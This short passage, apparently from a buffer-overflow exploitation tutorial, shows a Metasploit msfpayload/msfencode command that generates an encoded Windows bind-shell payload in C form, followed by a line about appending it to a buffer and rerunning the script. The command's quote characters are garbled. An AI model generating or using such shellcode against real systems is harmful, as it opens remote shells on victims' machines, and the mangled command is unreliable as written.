5542msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b “\x90†-t c
5543-----------------------------------------------------------------------
5544
5545This will generate a payload, append it to the buffer and run the script again.